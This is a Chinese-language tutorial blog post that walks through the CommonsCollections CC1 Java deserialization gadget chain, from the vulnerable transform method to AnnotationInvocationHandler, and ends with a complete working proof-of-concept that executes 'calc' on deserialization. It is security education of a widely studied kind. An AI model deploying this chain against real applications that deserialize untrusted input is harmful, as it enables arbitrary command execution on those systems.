Java反序列化CommonsCollections篇CC1

什么是CommonsCollection

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

环境搭建

CC1链,使用的JDK环境为JDK8u65下载链接如下

https://download.oracle.com/otn/java/jdk/8u65-b17/jdk-8u65-windows-x64.exe

可以放入虚拟机而后拷贝到宿主机进行使用,拷贝的具体路径为C:\Program Files\Java\jdk1.8.0_65,而后在IDEA中,新建项目时选择对应JDK版本即可

建立好项目后,我们会发现一些代码,例如在sun包下的代码是.class文件,它的代码是直接反编译出来的,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK中,具体链接如下

https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

下载完成后进入jdk1.8.0_65文件夹,解压src压缩包,并将af660750b2f4.zip中的sun源码拖到这个文件夹中

进入idea,选择project structure

src文件夹加入sourcepath

maven下的包默认也是class,点击右上角的download就可以下载源码了。

pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.LE0</groupId>
  <artifactId>CC1</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>

  <name>CC1</name>
  <url>http://maven.apache.org</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.11.0</version> <!-- 使用最新稳定版 -->
        <configuration>
          <!-- 核心配置:匹配SDK 8 -->
          <source>8</source>
          <target>8</target>
          <encoding>UTF-8</encoding>
        </configuration>
      </plugin>
    </plugins>
  </build>
  <dependencies>
    <!-- https://mvnrepository.com/artifact/junit/junit -->
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>

    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.2.1</version>
    </dependency>
  </dependencies>
</project>

CC1

入口点

漏洞点在commoncollectionstransform

看看transformer的实现类

这里跟进到InvokerTransformer中,看看他的Transform方法

当参数不为空的时候,他会用反射获取输入参数的类,而后获取根据两个参数获取此类的某个方法,我们跟进这两个参数

这是InvokerTransformer方法的两个参数,所以这里其实就是一个任意方法调用,三个参数我们都可以控制。

先尝试用这个方法弹个计算器

//正常写法
Runtime.getRuntime().exec("calc");

//反射写法
Runtime r = Runtime.getRuntime();  
Class c = Runtime.class;  
Method execMethod = c.getDeclaredMethod("exec", String.class);  
execMethod.invoke(r, "calc");

//改写一下
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

此时可以执行命令,接下来只需要往上找,找到一个方法调用了transform方法,最好是不重名

这里可以看到TransformedMap中调用了transform次数最多,跟进去看看

这里checkSetValue接收一个对象,然后返回valueTransformer.transform(value)

继续看valueTransformer是什么东西,找到构造函数

但这是protected方法,只能自己调用自己,找到静态方法

那么是谁调用了checkSetValue呢?只有一处地方

进入了AbstractInputCheckedMapDecorator,这么长的名字,这又是啥?

原来是TransformedMap的父类

setValue在什么时候会被调用呢

其实看到entry(代表一对键值对)就可以猜到,这是在遍历map的时候被调用尝试一下

        Runtime r = Runtime.getRuntime();  
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});  
        HashMap<Object, Object> map = new HashMap<>();  
        map.put("key", "value");  
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, invokerTransformer);  
        for (Map.Entry entry: transformedmap.entrySet()) {  
            entry.setValue(r);  
        }

成功弹出来计算器,说明这条链子是可行的

同样的方法,找谁调用了setValue,要求是不同名,如果是readObject最好,就找到链入口了

还真找到了,AnnotationInvocationHandlerreadObject有遍历map的功能,并且用了setValue

看看构造函数,这里第一个参数是一个注解,第二个参数map,但是他的类型是default,要用反射获取

链子已经找到了,但是还有三个问题

  • Runtime r = Runtime.getRuntime();是不可序列化的
  • 绕过readObject中的if判断
  • readObject中的setValue对象似乎不可控
if (!(memberType.isInstance(value) ||  
      value instanceof ExceptionProxy)) {  
    memberValue.setValue(  
        new AnnotationTypeMismatchExceptionProxy(  
            value.getClass() + "[" + value + "]").setMember(  
                annotationType.members().get(name)));  
}

先解决不能序列化的问题,直接通过反射获取

//普通反射写法
Class c = Runtime.class;  
Method getRuntime = c.getMethod("getRuntime", null);  
Runtime r = (Runtime) getRuntime.invoke(null, null);  
Method execmethod = c.getMethod("exec", String.class);  
execmethod.invoke(r, "calc");

//改为transform的版本
Method transform = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  new Object[0]}).transform(transform);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

其实还可以用chained Transformer来迭代调用

Transformer[] transformers = new Transformer[]{  
        new ConstantTransformer(Runtime.class),  
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
};  
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

目前的利用链,但是运行运行后没有成功执行命令

package com.LE0;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  
  
  
public class CC1 {  
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {  
        Transformer[] transformers = new Transformer[]{  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        map.put("key", "value");  
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);  
  
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);  
        declaredConstructor.setAccessible(true);  
        Object obj = declaredConstructor.newInstance(Override.class, transformedmap);  
        serialize(obj);  
        deserialize("ser.bin");  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
        oos.writeObject(obj);  
    }  
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        return ois.readObject();  
    }  
}

动调一下,发现这里的memberTypenull,这个memberType又是什么呢?

往上看,这里获取了override的成员变量,但override没有成员变量,所以导致memberTypenull

Target有成员变量,把Override换成Target

继续调,发现还是null,因为Target的成员变量叫value,但我这里获取的是key

改完之后就不为空了

但是现在还有最后一个问题,这里的value不是我们想要的值

我们需要控制cls的值为Runtime.class,这里就要用到ConstantTransformer

你传入什么,他就返回什么

Transformer[] transformers = new Transformer[]{  
        new ConstantTransformer(Runtime.class),  
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
};

成功调用Runtime,弹出计算器

最终链子

package com.LE0;  
  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.InvocationTargetException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.HashMap;  
import java.util.Map;  
  
  
public class CC1 {  
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {  
        Transformer[] transformers = new Transformer[]{  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,  null}),  
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        HashMap<Object, Object> map = new HashMap<>();  
        map.put("value", "value");  
        Map<Object,Object> transformedmap = TransformedMap.decorate(map, null, chainedTransformer);  
  
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);  
        declaredConstructor.setAccessible(true);  
        Object obj = declaredConstructor.newInstance(Target.class, transformedmap);  
        serialize(obj);  
        deserialize("ser.bin");  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));  
        oos.writeObject(obj);  
    }  
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));  
        return ois.readObject();  
    }  
}

参考

JAVA反序列化—CC链的前世今生 - FreeBuf网络安全行业门户

https://www.bilibili.com/video/BV1no4y1U7E1

posted @ 2026-01-25 16:16  leee0  阅读(0)  评论(0)    收藏  举报